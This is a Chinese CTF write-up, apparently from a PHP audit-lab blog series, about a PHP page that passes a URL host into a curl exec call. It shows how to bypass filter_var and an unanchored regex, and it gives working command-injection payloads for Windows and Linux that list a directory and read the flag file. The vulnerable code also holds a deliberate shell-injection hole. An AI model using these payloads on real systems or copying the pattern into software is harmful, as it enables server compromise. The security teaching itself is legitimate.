题目代码:

// index.php
<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);  
    if(preg_match('/sec-redclub.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>
// f1agi3hEre.php
<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

题目分析:

看到题目中的一些敏感函数filter_var,exec,preg_match等,大致可以判断是一个通过绕过达到命令执行操作的一个题目。题目来源:红日安全团队。

题目逻辑:

1.以get的方法获取到url的值
2.判断传入不为空并且使用filter_var进行过滤。
3.正则匹配验证,输入的url必须以sec-redclub.com结尾
4.进入exec中,构造使其执行命令。

解题思路

1.以url为参数,往里面通过get的方法进行传参。
2.传参要绕过filter_var和正则匹配
函数filter_var()可以解析许多类型的 URL schema,如果我把 schema从http:// 改成别的如
0://,aa://都可以绕过filter_var的限制。如果绕过限制后无法请求到内容,可以使用0://evil.com:80;google.com:80/这种方法,通过指定目标端口,尽量让;google.com不被解析成主机名的一部分。详见:SSRF技巧之如何绕过filter_var( )
剩下的就是绕过正则了,只需要以sec-redclub.com结尾便可。
?url=0://sec-redclub.com
PHP-Audit-Labs题解–Day2-D-R0s1博客
可以看到,到这一步是没什么问题的。
3.接下来,就是要进入到exec里面,进行命令执行。
首先强调一点,我本地复现的环境是windows+php7.0环境。网上大多文章都是基于linux环境下的。他的命令上会有不小的差别。
3.1首先把exec提出来单独看一看
exec('curl "'.$site_info['host'].'"', $result);
使用curl命令请求我们输入的url,很显然,要想让exec执行我们的命令,就要构造闭合,类似sql注入一样,闭合之后,才能执行我们制定的命令。
3.2 整理一下我们手中的已知条件,filter_var和正则的限制已经绕过了,?url=0://sec-redclub.com,接下来需要构造闭合执行我们自定义的操作
exec('curl "0://sec-redclub.com"', $result);
这是我们没有闭合时候,仅仅绕过,filter_var和正则时候的样子。整个要求后缀是sec-redclub.com,那么我们只能在中间插入。
exec('curl "0://{xxxx}sec-redclub.com"', $result);
也就是上边{xxxx}的位置,此处{}只为看着直观,真正形成过程请忽视{}
3.3首先闭合掉前边的curl闭合掉,把后边多余的双引号闭合掉
exec('curl "0://{""}sec-redclub.com"', $result);
闭合以后,中间这一块就独立出来了,然后就列一下目录看一下有什么东西
exec('curl "0://{"|dir||"}sec-redclub.com"', $result);
去掉{},前边说过,本来{}就是不存在的,为了看着直观,就把我们自己执行的命令{}包起来
exec('curl "0://"|dir||"sec-redclub.com"', $result);
提取出payload执行一下
http://localhost/index.php?url=0://%22|dir||%22sec-redclub.com

PHP-Audit-Labs题解–Day2-D-R0s1博客
看到目录已经列出来了,成功的执行了我们的命令。
这是windows中的payload,网上大多给出的是linux环境中的命令。比如:
?url=0://%22;ls;%23;sec-redclub.com

对比分析

先来解释一下linux中的payload
?url=0://%22;ls;%23;sec-redclub.com
%22就是“作用和前面说的一样闭合curl,分号(是分隔每一条命令)不管执行成功与否。
查资料发现这么一句话:
Linux/Mac 下还可以使用 ; 来链接两条命令,顺序执行命令,不管成功与否都往后执行
隐含意思就是说win中并不可以使用;进行分隔命令的操作。
中间的ls在windows中具有相同效果的命令是dir。%23的作用是先绕过正则匹配然后解码成#注释掉后边的内容,因为exec在命令执行没有错误的情况下才会回显。如果直接用#,那么#作为一个锚点,后边的内容根本不会执行,正则也就匹配不到sec-redclub.com
那么,通过对比还有有两个问题
问题1:
为什么windos中不用%23,绕过后注释掉后边的内容而用||
windos命令行中没有#代表注释的这个说法。:: 这是注释。而||代表,只要前面语句执行正确,就不会执行后面的语句,从而也起到了跳过后面的语句的作用。因为后边语句是个错误语句,exec在命令执行没有错误的情况下才会回显。
问题2:
前面| 为什么linux中可以用分号替代,win中只能用|?
Linux/Mac 下还可以使用 ; 来链接两条命令,顺序执行命令,不管成功与否都往后执行,而windos中使用|刚好前面的输出作为后面的输入,并没有什么影响,也不会出现&,||共同出现逻辑混乱的现象。

搞明白这两个payload的区别以后,看一下dir列出了哪些目录,读取存在flag文件即可。

这里是因为我本地很多其他的文件存在,题目环境下的话应该是只有一个包含flag的文件和index.php的。
存在flag的文件是f1agi3hEre.php,在windos中使用type获取文件内容TYPE [drive:][path]filename
PHP-Audit-Labs题解–Day2-D-R0s1博客

payload:http://localhost/index.php?url=0://%22|type=f1agi3hEre.php||%22sec-redclub.com
PHP-Audit-Labs题解–Day2-D-R0s1博客
获取到flag
同样在linux环境中的payload

?url=0://%22;cat<f1agi3hEre.php;%23;sec-redclub.com
因为执行cat f1agi3hEre.php包含空格,会被 filter_var 函数检测过滤,所以用cat<f1agi3hEre.php,<代替空格。